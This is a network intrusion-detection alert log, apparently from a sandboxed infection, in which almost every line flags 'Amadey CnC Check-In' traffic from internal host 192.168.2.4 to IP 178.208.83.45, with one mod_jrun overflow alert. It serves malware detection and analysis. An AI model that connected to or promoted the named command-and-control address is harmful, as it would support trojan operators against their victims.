11/12/21-22:23:40.337696	TCP	2027700	ET TROJAN Amadey CnC Check-In	49884	80	192.168.2.4	178.208.83.45
11/12/21-22:23:40.510149	TCP	2027700	ET TROJAN Amadey CnC Check-In	49885	80	192.168.2.4	178.208.83.45
11/12/21-22:23:40.666706	TCP	2027700	ET TROJAN Amadey CnC Check-In	49886	80	192.168.2.4	178.208.83.45
11/12/21-22:23:40.825270	TCP	2027700	ET TROJAN Amadey CnC Check-In	49887	80	192.168.2.4	178.208.83.45
11/12/21-22:23:40.994213	TCP	2027700	ET TROJAN Amadey CnC Check-In	49888	80	192.168.2.4	178.208.83.45
11/12/21-22:23:41.150445	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.4	178.208.83.45
11/12/21-22:23:41.321176	TCP	2027700	ET TROJAN Amadey CnC Check-In	49890	80	192.168.2.4	178.208.83.45
11/12/21-22:23:41.479825	TCP	2027700	ET TROJAN Amadey CnC Check-In	49892	80	192.168.2.4	178.208.83.45
11/12/21-22:23:41.654846	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.4	178.208.83.45
11/12/21-22:23:41.825675	TCP	2027700	ET TROJAN Amadey CnC Check-In	49894	80	192.168.2.4	178.208.83.45
11/12/21-22:23:41.979407	TCP	2027700	ET TROJAN Amadey CnC Check-In	49895	80	192.168.2.4	178.208.83.45
11/12/21-22:23:42.134851	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.4	178.208.83.45
11/12/21-22:23:42.308564	TCP	2027700	ET TROJAN Amadey CnC Check-In	49897	80	192.168.2.4	178.208.83.45
11/12/21-22:23:42.464411	TCP	2027700	ET TROJAN Amadey CnC Check-In	49899	80	192.168.2.4	178.208.83.45
11/12/21-22:23:42.620807	TCP	2027700	ET TROJAN Amadey CnC Check-In	49900	80	192.168.2.4	178.208.83.45
11/12/21-22:23:42.777404	TCP	2027700	ET TROJAN Amadey CnC Check-In	49901	80	192.168.2.4	178.208.83.45
11/12/21-22:23:42.932312	TCP	2027700	ET TROJAN Amadey CnC Check-In	49902	80	192.168.2.4	178.208.83.45
11/12/21-22:23:43.327604	TCP	2027700	ET TROJAN Amadey CnC Check-In	49903	80	192.168.2.4	178.208.83.45
11/12/21-22:23:43.469910	TCP	2027700	ET TROJAN Amadey CnC Check-In	49904	80	192.168.2.4	178.208.83.45
11/12/21-22:23:43.636862	TCP	2027700	ET TROJAN Amadey CnC Check-In	49905	80	192.168.2.4	178.208.83.45
11/12/21-22:23:43.791894	TCP	2027700	ET TROJAN Amadey CnC Check-In	49906	80	192.168.2.4	178.208.83.45
11/12/21-22:23:44.602357	TCP	2027700	ET TROJAN Amadey CnC Check-In	49907	80	192.168.2.4	178.208.83.45
11/12/21-22:23:44.763657	TCP	2027700	ET TROJAN Amadey CnC Check-In	49908	80	192.168.2.4	178.208.83.45
11/12/21-22:23:44.933183	TCP	2027700	ET TROJAN Amadey CnC Check-In	49909	80	192.168.2.4	178.208.83.45
11/12/21-22:23:45.092194	TCP	2027700	ET TROJAN Amadey CnC Check-In	49910	80	192.168.2.4	178.208.83.45
11/12/21-22:23:45.261551	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.4	178.208.83.45
11/12/21-22:23:45.392957	TCP	2027700	ET TROJAN Amadey CnC Check-In	49912	80	192.168.2.4	178.208.83.45
11/12/21-22:23:45.568892	TCP	2027700	ET TROJAN Amadey CnC Check-In	49913	80	192.168.2.4	178.208.83.45
11/12/21-22:23:45.935548	TCP	2027700	ET TROJAN Amadey CnC Check-In	49914	80	192.168.2.4	178.208.83.45
11/12/21-22:23:46.119459	TCP	2027700	ET TROJAN Amadey CnC Check-In	49915	80	192.168.2.4	178.208.83.45
11/12/21-22:23:46.318734	TCP	2027700	ET TROJAN Amadey CnC Check-In	49916	80	192.168.2.4	178.208.83.45
11/12/21-22:23:46.479213	TCP	2027700	ET TROJAN Amadey CnC Check-In	49917	80	192.168.2.4	178.208.83.45
11/12/21-22:23:46.651497	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.4	178.208.83.45
11/12/21-22:23:46.814727	TCP	2027700	ET TROJAN Amadey CnC Check-In	49920	80	192.168.2.4	178.208.83.45
11/12/21-22:23:47.417337	TCP	2027700	ET TROJAN Amadey CnC Check-In	49921	80	192.168.2.4	178.208.83.45
11/12/21-22:23:47.606173	TCP	2027700	ET TROJAN Amadey CnC Check-In	49922	80	192.168.2.4	178.208.83.45
11/12/21-22:23:48.120229	TCP	2027700	ET TROJAN Amadey CnC Check-In	49924	80	192.168.2.4	178.208.83.45
11/12/21-22:23:49.416085	TCP	2027700	ET TROJAN Amadey CnC Check-In	49925	80	192.168.2.4	178.208.83.45
11/12/21-22:23:49.579570	TCP	2027700	ET TROJAN Amadey CnC Check-In	49926	80	192.168.2.4	178.208.83.45
11/12/21-22:23:49.746019	TCP	2027700	ET TROJAN Amadey CnC Check-In	49928	80	192.168.2.4	178.208.83.45
11/12/21-22:23:49.902368	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.4	178.208.83.45
11/12/21-22:23:50.061553	TCP	2027700	ET TROJAN Amadey CnC Check-In	49930	80	192.168.2.4	178.208.83.45
11/12/21-22:23:50.237104	TCP	2027700	ET TROJAN Amadey CnC Check-In	49931	80	192.168.2.4	178.208.83.45
11/12/21-22:23:50.421727	TCP	2027700	ET TROJAN Amadey CnC Check-In	49932	80	192.168.2.4	178.208.83.45
11/12/21-22:23:50.564844	TCP	2027700	ET TROJAN Amadey CnC Check-In	49932	80	192.168.2.4	178.208.83.45
11/12/21-22:23:50.733889	TCP	2027700	ET TROJAN Amadey CnC Check-In	49933	80	192.168.2.4	178.208.83.45
11/12/21-22:23:50.901208	TCP	2027700	ET TROJAN Amadey CnC Check-In	49934	80	192.168.2.4	178.208.83.45
11/12/21-22:23:51.060721	TCP	2027700	ET TROJAN Amadey CnC Check-In	49936	80	192.168.2.4	178.208.83.45
11/12/21-22:23:51.238609	TCP	2027700	ET TROJAN Amadey CnC Check-In	49937	80	192.168.2.4	178.208.83.45
11/12/21-22:23:51.377135	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.4	178.208.83.45
11/12/21-22:23:51.541973	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.4	178.208.83.45
11/12/21-22:23:51.706533	TCP	2027700	ET TROJAN Amadey CnC Check-In	49939	80	192.168.2.4	178.208.83.45
11/12/21-22:23:51.849318	TCP	2027700	ET TROJAN Amadey CnC Check-In	49940	80	192.168.2.4	178.208.83.45
11/12/21-22:23:52.012183	TCP	2027700	ET TROJAN Amadey CnC Check-In	49941	80	192.168.2.4	178.208.83.45
11/12/21-22:23:52.169316	TCP	2027700	ET TROJAN Amadey CnC Check-In	49942	80	192.168.2.4	178.208.83.45
11/12/21-22:23:52.341677	TCP	2027700	ET TROJAN Amadey CnC Check-In	49943	80	192.168.2.4	178.208.83.45
11/12/21-22:23:52.502801	TCP	2027700	ET TROJAN Amadey CnC Check-In	49944	80	192.168.2.4	178.208.83.45
11/12/21-22:23:52.669173	TCP	2027700	ET TROJAN Amadey CnC Check-In	49945	80	192.168.2.4	178.208.83.45
11/12/21-22:23:52.843248	TCP	2027700	ET TROJAN Amadey CnC Check-In	49947	80	192.168.2.4	178.208.83.45
11/12/21-22:23:53.004032	TCP	2027700	ET TROJAN Amadey CnC Check-In	49948	80	192.168.2.4	178.208.83.45
11/12/21-22:23:53.167528	TCP	2027700	ET TROJAN Amadey CnC Check-In	49949	80	192.168.2.4	178.208.83.45
11/12/21-22:23:53.349231	TCP	2027700	ET TROJAN Amadey CnC Check-In	49950	80	192.168.2.4	178.208.83.45
11/12/21-22:23:53.511848	TCP	2027700	ET TROJAN Amadey CnC Check-In	49951	80	192.168.2.4	178.208.83.45
11/12/21-22:23:53.679697	TCP	2027700	ET TROJAN Amadey CnC Check-In	49952	80	192.168.2.4	178.208.83.45
11/12/21-22:23:54.026204	TCP	2027700	ET TROJAN Amadey CnC Check-In	49954	80	192.168.2.4	178.208.83.45
11/12/21-22:23:54.187715	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.4	178.208.83.45
11/12/21-22:23:54.342771	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.4	178.208.83.45
11/12/21-22:23:54.562739	TCP	2027700	ET TROJAN Amadey CnC Check-In	49956	80	192.168.2.4	178.208.83.45
11/12/21-22:23:54.750503	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.4	178.208.83.45
11/12/21-22:23:54.919496	TCP	2027700	ET TROJAN Amadey CnC Check-In	49959	80	192.168.2.4	178.208.83.45
11/12/21-22:23:55.114799	TCP	2027700	ET TROJAN Amadey CnC Check-In	49960	80	192.168.2.4	178.208.83.45
11/12/21-22:23:55.338565	TCP	2027700	ET TROJAN Amadey CnC Check-In	49961	80	192.168.2.4	178.208.83.45
11/12/21-22:23:55.504213	TCP	2027700	ET TROJAN Amadey CnC Check-In	49963	80	192.168.2.4	178.208.83.45
11/12/21-22:23:55.699478	TCP	2027700	ET TROJAN Amadey CnC Check-In	49964	80	192.168.2.4	178.208.83.45
11/12/21-22:23:55.874059	TCP	2027700	ET TROJAN Amadey CnC Check-In	49965	80	192.168.2.4	178.208.83.45
11/12/21-22:23:56.120997	TCP	2027700	ET TROJAN Amadey CnC Check-In	49967	80	192.168.2.4	178.208.83.45
11/12/21-22:23:56.170786	TCP	100000122	COMMUNITY WEB-MISC mod_jrun overflow attempt	49966	80	192.168.2.4	178.208.83.45
11/12/21-22:23:56.269234	TCP	2027700	ET TROJAN Amadey CnC Check-In	49966	80	192.168.2.4	178.208.83.45
11/12/21-22:23:56.462102	TCP	2027700	ET TROJAN Amadey CnC Check-In	49968	80	192.168.2.4	178.208.83.45
11/12/21-22:23:56.656429	TCP	2027700	ET TROJAN Amadey CnC Check-In	49969	80	192.168.2.4	178.208.83.45
11/12/21-22:23:56.855656	TCP	2027700	ET TROJAN Amadey CnC Check-In	49970	80	192.168.2.4	178.208.83.45
11/12/21-22:23:57.019174	TCP	2027700	ET TROJAN Amadey CnC Check-In	49971	80	192.168.2.4	178.208.83.45
11/12/21-22:23:57.161224	TCP	2027700	ET TROJAN Amadey CnC Check-In	49972	80	192.168.2.4	178.208.83.45
11/12/21-22:23:57.408649	TCP	2027700	ET TROJAN Amadey CnC Check-In	49974	80	192.168.2.4	178.208.83.45
11/12/21-22:23:57.653405	TCP	2027700	ET TROJAN Amadey CnC Check-In	49975	80	192.168.2.4	178.208.83.45
11/12/21-22:23:57.801731	TCP	2027700	ET TROJAN Amadey CnC Check-In	49976	80	192.168.2.4	178.208.83.45
11/12/21-22:23:57.970317	TCP	2027700	ET TROJAN Amadey CnC Check-In	49977	80	192.168.2.4	178.208.83.45
11/12/21-22:23:58.138899	TCP	2027700	ET TROJAN Amadey CnC Check-In	49978	80	192.168.2.4	178.208.83.45
11/12/21-22:23:58.312208	TCP	2027700	ET TROJAN Amadey CnC Check-In	49980	80	192.168.2.4	178.208.83.45
11/12/21-22:23:58.493806	TCP	2027700	ET TROJAN Amadey CnC Check-In	49981	80	192.168.2.4	178.208.83.45
11/12/21-22:23:58.679102	TCP	2027700	ET TROJAN Amadey CnC Check-In	49982	80	192.168.2.4	178.208.83.45
11/12/21-22:23:58.839951	TCP	2027700	ET TROJAN Amadey CnC Check-In	49983	80	192.168.2.4	178.208.83.45
11/12/21-22:23:59.006320	TCP	2027700	ET TROJAN Amadey CnC Check-In	49984	80	192.168.2.4	178.208.83.45
11/12/21-22:23:59.142947	TCP	2027700	ET TROJAN Amadey CnC Check-In	49985	80	192.168.2.4	178.208.83.45
11/12/21-22:23:59.314810	TCP	2027700	ET TROJAN Amadey CnC Check-In	49986	80	192.168.2.4	178.208.83.45
11/12/21-22:23:59.481609	TCP	2027700	ET TROJAN Amadey CnC Check-In	49988	80	192.168.2.4	178.208.83.45
11/12/21-22:23:59.636147	TCP	2027700	ET TROJAN Amadey CnC Check-In	49990	80	192.168.2.4	178.208.83.45
11/12/21-22:23:59.793644	TCP	2027700	ET TROJAN Amadey CnC Check-In	49991	80	192.168.2.4	178.208.83.45
11/12/21-22:23:59.949820	TCP	2027700	ET TROJAN Amadey CnC Check-In	49992	80	192.168.2.4	178.208.83.45
11/12/21-22:24:00.106127	TCP	2027700	ET TROJAN Amadey CnC Check-In	49994	80	192.168.2.4	178.208.83.45
11/12/21-22:24:00.269898	TCP	2027700	ET TROJAN Amadey CnC Check-In	49997	80	192.168.2.4	178.208.83.45
11/12/21-22:24:00.411882	TCP	2027700	ET TROJAN Amadey CnC Check-In	49997	80	192.168.2.4	178.208.83.45
11/12/21-22:24:00.575884	TCP	2027700	ET TROJAN Amadey CnC Check-In	49998	80	192.168.2.4	178.208.83.45
11/12/21-22:24:00.737734	TCP	2027700	ET TROJAN Amadey CnC Check-In	50000	80	192.168.2.4	178.208.83.45
11/12/21-22:24:00.937269	TCP	2027700	ET TROJAN Amadey CnC Check-In	50001	80	192.168.2.4	178.208.83.45
11/12/21-22:24:01.105939	TCP	2027700	ET TROJAN Amadey CnC Check-In	50003	80	192.168.2.4	178.208.83.45
11/12/21-22:24:01.262348	TCP	2027700	ET TROJAN Amadey CnC Check-In	50004	80	192.168.2.4	178.208.83.45
11/12/21-22:24:01.420887	TCP	2027700	ET TROJAN Amadey CnC Check-In	50005	80	192.168.2.4	178.208.83.45
11/12/21-22:24:01.578302	TCP	2027700	ET TROJAN Amadey CnC Check-In	50007	80	192.168.2.4	178.208.83.45
11/12/21-22:24:01.763459	TCP	2027700	ET TROJAN Amadey CnC Check-In	50009	80	192.168.2.4	178.208.83.45
11/12/21-22:24:01.938663	TCP	2027700	ET TROJAN Amadey CnC Check-In	50011	80	192.168.2.4	178.208.83.45
11/12/21-22:24:02.190659	TCP	2027700	ET TROJAN Amadey CnC Check-In	50013	80	192.168.2.4	178.208.83.45
11/12/21-22:24:02.356618	TCP	2027700	ET TROJAN Amadey CnC Check-In	50015	80	192.168.2.4	178.208.83.45
11/12/21-22:24:02.531312	TCP	2027700	ET TROJAN Amadey CnC Check-In	50018	80	192.168.2.4	178.208.83.45
11/12/21-22:24:02.714186	TCP	2027700	ET TROJAN Amadey CnC Check-In	50020	80	192.168.2.4	178.208.83.45
11/12/21-22:24:02.873610	TCP	2027700	ET TROJAN Amadey CnC Check-In	50022	80	192.168.2.4	178.208.83.45
11/12/21-22:24:03.058554	TCP	2027700	ET TROJAN Amadey CnC Check-In	50023	80	192.168.2.4	178.208.83.45
11/12/21-22:24:03.240451	TCP	2027700	ET TROJAN Amadey CnC Check-In	50025	80	192.168.2.4	178.208.83.45
11/12/21-22:24:03.425556	TCP	2027700	ET TROJAN Amadey CnC Check-In	50026	80	192.168.2.4	178.208.83.45
11/12/21-22:24:03.590533	TCP	2027700	ET TROJAN Amadey CnC Check-In	50028	80	192.168.2.4	178.208.83.45
11/12/21-22:24:03.764974	TCP	2027700	ET TROJAN Amadey CnC Check-In	50030	80	192.168.2.4	178.208.83.45
11/12/21-22:24:03.936435	TCP	2027700	ET TROJAN Amadey CnC Check-In	50032	80	192.168.2.4	178.208.83.45
11/12/21-22:24:04.096789	TCP	2027700	ET TROJAN Amadey CnC Check-In	50033	80	192.168.2.4	178.208.83.45
11/12/21-22:24:04.262406	TCP	2027700	ET TROJAN Amadey CnC Check-In	50036	80	192.168.2.4	178.208.83.45
11/12/21-22:24:04.418118	TCP	2027700	ET TROJAN Amadey CnC Check-In	50038	80	192.168.2.4	178.208.83.45
11/12/21-22:24:04.573521	TCP	2027700	ET TROJAN Amadey CnC Check-In	50039	80	192.168.2.4	178.208.83.45
11/12/21-22:24:04.754512	TCP	2027700	ET TROJAN Amadey CnC Check-In	50041	80	192.168.2.4	178.208.83.45
11/12/21-22:24:04.992624	TCP	2027700	ET TROJAN Amadey CnC Check-In	50043	80	192.168.2.4	178.208.83.45
11/12/21-22:24:05.313631	TCP	2027700	ET TROJAN Amadey CnC Check-In	50044	80	192.168.2.4	178.208.83.45
11/12/21-22:24:05.466169	TCP	2027700	ET TROJAN Amadey CnC Check-In	50045	80	192.168.2.4	178.208.83.45
11/12/21-22:24:05.636333	TCP	2027700	ET TROJAN Amadey CnC Check-In	50046	80	192.168.2.4	178.208.83.45
11/12/21-22:24:05.809630	TCP	2027700	ET TROJAN Amadey CnC Check-In	50048	80	192.168.2.4	178.208.83.45
11/12/21-22:24:06.070840	TCP	2027700	ET TROJAN Amadey CnC Check-In	50049	80	192.168.2.4	178.208.83.45
11/12/21-22:24:06.738066	TCP	2027700	ET TROJAN Amadey CnC Check-In	50051	80	192.168.2.4	178.208.83.45
11/12/21-22:24:06.915276	TCP	2027700	ET TROJAN Amadey CnC Check-In	50052	80	192.168.2.4	178.208.83.45
11/12/21-22:24:07.077226	TCP	2027700	ET TROJAN Amadey CnC Check-In	50054	80	192.168.2.4	178.208.83.45
11/12/21-22:24:07.366317	TCP	2027700	ET TROJAN Amadey CnC Check-In	50055	80	192.168.2.4	178.208.83.45
11/12/21-22:24:08.699570	TCP	2027700	ET TROJAN Amadey CnC Check-In	50056	80	192.168.2.4	178.208.83.45
11/12/21-22:24:09.057309	TCP	2027700	ET TROJAN Amadey CnC Check-In	50057	80	192.168.2.4	178.208.83.45
11/12/21-22:24:09.220450	TCP	2027700	ET TROJAN Amadey CnC Check-In	50059	80	192.168.2.4	178.208.83.45
11/12/21-22:24:09.388570	TCP	2027700	ET TROJAN Amadey CnC Check-In	50061	80	192.168.2.4	178.208.83.45
11/12/21-22:24:09.547375	TCP	2027700	ET TROJAN Amadey CnC Check-In	50063	80	192.168.2.4	178.208.83.45
11/12/21-22:24:09.716558	TCP	2027700	ET TROJAN Amadey CnC Check-In	50064	80	192.168.2.4	178.208.83.45
11/12/21-22:24:09.872170	TCP	2027700	ET TROJAN Amadey CnC Check-In	50066	80	192.168.2.4	178.208.83.45
11/12/21-22:24:10.029753	TCP	2027700	ET TROJAN Amadey CnC Check-In	50068	80	192.168.2.4	178.208.83.45
11/12/21-22:24:10.184469	TCP	2027700	ET TROJAN Amadey CnC Check-In	50069	80	192.168.2.4	178.208.83.45
11/12/21-22:24:10.356167	TCP	2027700	ET TROJAN Amadey CnC Check-In	50071	80	192.168.2.4	178.208.83.45
11/12/21-22:24:10.514760	TCP	2027700	ET TROJAN Amadey CnC Check-In	50073	80	192.168.2.4	178.208.83.45
11/12/21-22:24:10.669622	TCP	2027700	ET TROJAN Amadey CnC Check-In	50074	80	192.168.2.4	178.208.83.45
11/12/21-22:24:10.853036	TCP	2027700	ET TROJAN Amadey CnC Check-In	50076	80	192.168.2.4	178.208.83.45
11/12/21-22:24:11.015225	TCP	2027700	ET TROJAN Amadey CnC Check-In	50078	80	192.168.2.4	178.208.83.45
11/12/21-22:24:11.176050	TCP	2027700	ET TROJAN Amadey CnC Check-In	50080	80	192.168.2.4	178.208.83.45
11/12/21-22:24:11.340659	TCP	2027700	ET TROJAN Amadey CnC Check-In	50081	80	192.168.2.4	178.208.83.45
11/12/21-22:24:11.513751	TCP	2027700	ET TROJAN Amadey CnC Check-In	50082	80	192.168.2.4	178.208.83.45
11/12/21-22:24:11.688887	TCP	2027700	ET TROJAN Amadey CnC Check-In	50083	80	192.168.2.4	178.208.83.45
11/12/21-22:24:11.840040	TCP	2027700	ET TROJAN Amadey CnC Check-In	50084	80	192.168.2.4	178.208.83.45
11/12/21-22:24:11.998836	TCP	2027700	ET TROJAN Amadey CnC Check-In	50085	80	192.168.2.4	178.208.83.45
11/12/21-22:24:12.153428	TCP	2027700	ET TROJAN Amadey CnC Check-In	50086	80	192.168.2.4	178.208.83.45
11/12/21-22:24:12.402669	TCP	2027700	ET TROJAN Amadey CnC Check-In	50088	80	192.168.2.4	178.208.83.45
11/12/21-22:24:13.308990	TCP	2027700	ET TROJAN Amadey CnC Check-In	50089	80	192.168.2.4	178.208.83.45
11/12/21-22:24:13.468663	TCP	2027700	ET TROJAN Amadey CnC Check-In	50092	80	192.168.2.4	178.208.83.45
11/12/21-22:24:13.628390	TCP	2027700	ET TROJAN Amadey CnC Check-In	50093	80	192.168.2.4	178.208.83.45
11/12/21-22:24:13.796095	TCP	2027700	ET TROJAN Amadey CnC Check-In	50094	80	192.168.2.4	178.208.83.45
11/12/21-22:24:13.965654	TCP	2027700	ET TROJAN Amadey CnC Check-In	50095	80	192.168.2.4	178.208.83.45
11/12/21-22:24:14.123088	TCP	2027700	ET TROJAN Amadey CnC Check-In	50096	80	192.168.2.4	178.208.83.45
11/12/21-22:24:14.298931	TCP	2027700	ET TROJAN Amadey CnC Check-In	50097	80	192.168.2.4	178.208.83.45
11/12/21-22:24:14.468442	TCP	2027700	ET TROJAN Amadey CnC Check-In	50098	80	192.168.2.4	178.208.83.45
11/12/21-22:24:14.624312	TCP	2027700	ET TROJAN Amadey CnC Check-In	50099	80	192.168.2.4	178.208.83.45
11/12/21-22:24:14.781005	TCP	2027700	ET TROJAN Amadey CnC Check-In	50101	80	192.168.2.4	178.208.83.45
11/12/21-22:24:14.934691	TCP	2027700	ET TROJAN Amadey CnC Check-In	50102	80	192.168.2.4	178.208.83.45
11/12/21-22:24:15.090527	TCP	2027700	ET TROJAN Amadey CnC Check-In	50103	80	192.168.2.4	178.208.83.45
11/12/21-22:24:15.250424	TCP	2027700	ET TROJAN Amadey CnC Check-In	50104	80	192.168.2.4	178.208.83.45
11/12/21-22:24:15.418986	TCP	2027700	ET TROJAN Amadey CnC Check-In	50105	80	192.168.2.4	178.208.83.45
11/12/21-22:24:15.581775	TCP	2027700	ET TROJAN Amadey CnC Check-In	50106	80	192.168.2.4	178.208.83.45
11/12/21-22:24:15.757513	TCP	2027700	ET TROJAN Amadey CnC Check-In	50108	80	192.168.2.4	178.208.83.45
11/12/21-22:24:15.919477	TCP	2027700	ET TROJAN Amadey CnC Check-In	50111	80	192.168.2.4	178.208.83.45
11/12/21-22:24:16.095906	TCP	2027700	ET TROJAN Amadey CnC Check-In	50113	80	192.168.2.4	178.208.83.45
11/12/21-22:24:16.264165	TCP	2027700	ET TROJAN Amadey CnC Check-In	50115	80	192.168.2.4	178.208.83.45
11/12/21-22:24:16.420352	TCP	2027700	ET TROJAN Amadey CnC Check-In	50116	80	192.168.2.4	178.208.83.45
11/12/21-22:24:16.575078	TCP	2027700	ET TROJAN Amadey CnC Check-In	50117	80	192.168.2.4	178.208.83.45
11/12/21-22:24:16.857429	TCP	2027700	ET TROJAN Amadey CnC Check-In	50118	80	192.168.2.4	178.208.83.45
11/12/21-22:24:17.014742	TCP	2027700	ET TROJAN Amadey CnC Check-In	50119	80	192.168.2.4	178.208.83.45
11/12/21-22:24:17.173725	TCP	2027700	ET TROJAN Amadey CnC Check-In	50120	80	192.168.2.4	178.208.83.45
11/12/21-22:24:17.343234	TCP	2027700	ET TROJAN Amadey CnC Check-In	50121	80	192.168.2.4	178.208.83.45
11/12/21-22:24:17.513107	TCP	2027700	ET TROJAN Amadey CnC Check-In	50122	80	192.168.2.4	178.208.83.45
11/12/21-22:24:17.675899	TCP	2027700	ET TROJAN Amadey CnC Check-In	50123	80	192.168.2.4	178.208.83.45
11/12/21-22:24:17.841648	TCP	2027700	ET TROJAN Amadey CnC Check-In	50125	80	192.168.2.4	178.208.83.45
11/12/21-22:24:18.013941	TCP	2027700	ET TROJAN Amadey CnC Check-In	50126	80	192.168.2.4	178.208.83.45
11/12/21-22:24:18.169371	TCP	2027700	ET TROJAN Amadey CnC Check-In	50127	80	192.168.2.4	178.208.83.45
11/12/21-22:24:18.326132	TCP	2027700	ET TROJAN Amadey CnC Check-In	50128	80	192.168.2.4	178.208.83.45
11/12/21-22:24:18.482834	TCP	2027700	ET TROJAN Amadey CnC Check-In	50129	80	192.168.2.4	178.208.83.45
11/12/21-22:24:18.637800	TCP	2027700	ET TROJAN Amadey CnC Check-In	50130	80	192.168.2.4	178.208.83.45
11/12/21-22:24:18.801804	TCP	2027700	ET TROJAN Amadey CnC Check-In	50131	80	192.168.2.4	178.208.83.45
11/12/21-22:24:18.969334	TCP	2027700	ET TROJAN Amadey CnC Check-In	50132	80	192.168.2.4	178.208.83.45
11/12/21-22:24:19.141069	TCP	2027700	ET TROJAN Amadey CnC Check-In	50133	80	192.168.2.4	178.208.83.45
11/12/21-22:24:19.310212	TCP	2027700	ET TROJAN Amadey CnC Check-In	50134	80	192.168.2.4	178.208.83.45
11/12/21-22:24:19.467594	TCP	2027700	ET TROJAN Amadey CnC Check-In	50135	80	192.168.2.4	178.208.83.45
11/12/21-22:24:19.624878	TCP	2027700	ET TROJAN Amadey CnC Check-In	50136	80	192.168.2.4	178.208.83.45
11/12/21-22:24:19.783322	TCP	2027700	ET TROJAN Amadey CnC Check-In	50137	80	192.168.2.4	178.208.83.45
11/12/21-22:24:19.950420	TCP	2027700	ET TROJAN Amadey CnC Check-In	50138	80	192.168.2.4	178.208.83.45
11/12/21-22:24:20.113237	TCP	2027700	ET TROJAN Amadey CnC Check-In	50139	80	192.168.2.4	178.208.83.45
11/12/21-22:24:20.286033	TCP	2027700	ET TROJAN Amadey CnC Check-In	50140	80	192.168.2.4	178.208.83.45
11/12/21-22:24:20.451844	TCP	2027700	ET TROJAN Amadey CnC Check-In	50141	80	192.168.2.4	178.208.83.45
11/12/21-22:24:20.608310	TCP	2027700	ET TROJAN Amadey CnC Check-In	50142	80	192.168.2.4	178.208.83.45
11/12/21-22:24:20.766396	TCP	2027700	ET TROJAN Amadey CnC Check-In	50143	80	192.168.2.4	178.208.83.45
11/12/21-22:24:20.934300	TCP	2027700	ET TROJAN Amadey CnC Check-In	50144	80	192.168.2.4	178.208.83.45
11/12/21-22:24:21.102976	TCP	2027700	ET TROJAN Amadey CnC Check-In	50145	80	192.168.2.4	178.208.83.45
11/12/21-22:24:21.263261	TCP	2027700	ET TROJAN Amadey CnC Check-In	50146	80	192.168.2.4	178.208.83.45
11/12/21-22:24:21.448810	TCP	2027700	ET TROJAN Amadey CnC Check-In	50147	80	192.168.2.4	178.208.83.45
11/12/21-22:24:21.611221	TCP	2027700	ET TROJAN Amadey CnC Check-In	50149	80	192.168.2.4	178.208.83.45
11/12/21-22:24:21.792020	TCP	2027700	ET TROJAN Amadey CnC Check-In	50150	80	192.168.2.4	178.208.83.45
11/12/21-22:24:21.953377	TCP	2027700	ET TROJAN Amadey CnC Check-In	50152	80	192.168.2.4	178.208.83.45
11/12/21-22:24:22.180668	TCP	2027700	ET TROJAN Amadey CnC Check-In	50153	80	192.168.2.4	178.208.83.45
11/12/21-22:24:22.342566	TCP	2027700	ET TROJAN Amadey CnC Check-In	50154	80	192.168.2.4	178.208.83.45
11/12/21-22:24:22.497692	TCP	2027700	ET TROJAN Amadey CnC Check-In	50155	80	192.168.2.4	178.208.83.45
11/12/21-22:24:22.656894	TCP	2027700	ET TROJAN Amadey CnC Check-In	50156	80	192.168.2.4	178.208.83.45
11/12/21-22:24:22.952967	TCP	2027700	ET TROJAN Amadey CnC Check-In	50158	80	192.168.2.4	178.208.83.45
11/12/21-22:24:23.108229	TCP	2027700	ET TROJAN Amadey CnC Check-In	50159	80	192.168.2.4	178.208.83.45
11/12/21-22:24:23.263625	TCP	2027700	ET TROJAN Amadey CnC Check-In	50160	80	192.168.2.4	178.208.83.45
11/12/21-22:24:23.420593	TCP	2027700	ET TROJAN Amadey CnC Check-In	50161	80	192.168.2.4	178.208.83.45
11/12/21-22:24:23.596543	TCP	2027700	ET TROJAN Amadey CnC Check-In	50162	80	192.168.2.4	178.208.83.45
11/12/21-22:24:23.768142	TCP	2027700	ET TROJAN Amadey CnC Check-In	50163	80	192.168.2.4	178.208.83.45
11/12/21-22:24:24.966934	TCP	2027700	ET TROJAN Amadey CnC Check-In	50165	80	192.168.2.4	178.208.83.45
11/12/21-22:24:28.201198	TCP	2027700	ET TROJAN Amadey CnC Check-In	50166	80	192.168.2.4	178.208.83.45
11/12/21-22:24:28.333107	TCP	2027700	ET TROJAN Amadey CnC Check-In	50167	80	192.168.2.4	178.208.83.45
11/12/21-22:24:28.498807	TCP	2027700	ET TROJAN Amadey CnC Check-In	50168	80	192.168.2.4	178.208.83.45
11/12/21-22:24:28.655659	TCP	2027700	ET TROJAN Amadey CnC Check-In	50169	80	192.168.2.4	178.208.83.45
11/12/21-22:24:28.928795	TCP	2027700	ET TROJAN Amadey CnC Check-In	50170	80	192.168.2.4	178.208.83.45
11/12/21-22:24:29.266881	TCP	2027700	ET TROJAN Amadey CnC Check-In	50171	80	192.168.2.4	178.208.83.45
11/12/21-22:24:29.461476	TCP	2027700	ET TROJAN Amadey CnC Check-In	50173	80	192.168.2.4	178.208.83.45
11/12/21-22:24:29.717760	TCP	2027700	ET TROJAN Amadey CnC Check-In	50175	80	192.168.2.4	178.208.83.45
11/12/21-22:24:29.986485	TCP	2027700	ET TROJAN Amadey CnC Check-In	50176	80	192.168.2.4	178.208.83.45
11/12/21-22:24:30.234415	TCP	2027700	ET TROJAN Amadey CnC Check-In	50177	80	192.168.2.4	178.208.83.45
11/12/21-22:24:30.500457	TCP	2027700	ET TROJAN Amadey CnC Check-In	50178	80	192.168.2.4	178.208.83.45
11/12/21-22:24:30.756517	TCP	2027700	ET TROJAN Amadey CnC Check-In	50179	80	192.168.2.4	178.208.83.45
11/12/21-22:24:30.920149	TCP	2027700	ET TROJAN Amadey CnC Check-In	50181	80	192.168.2.4	178.208.83.45
11/12/21-22:24:31.078808	TCP	2027700	ET TROJAN Amadey CnC Check-In	50182	80	192.168.2.4	178.208.83.45
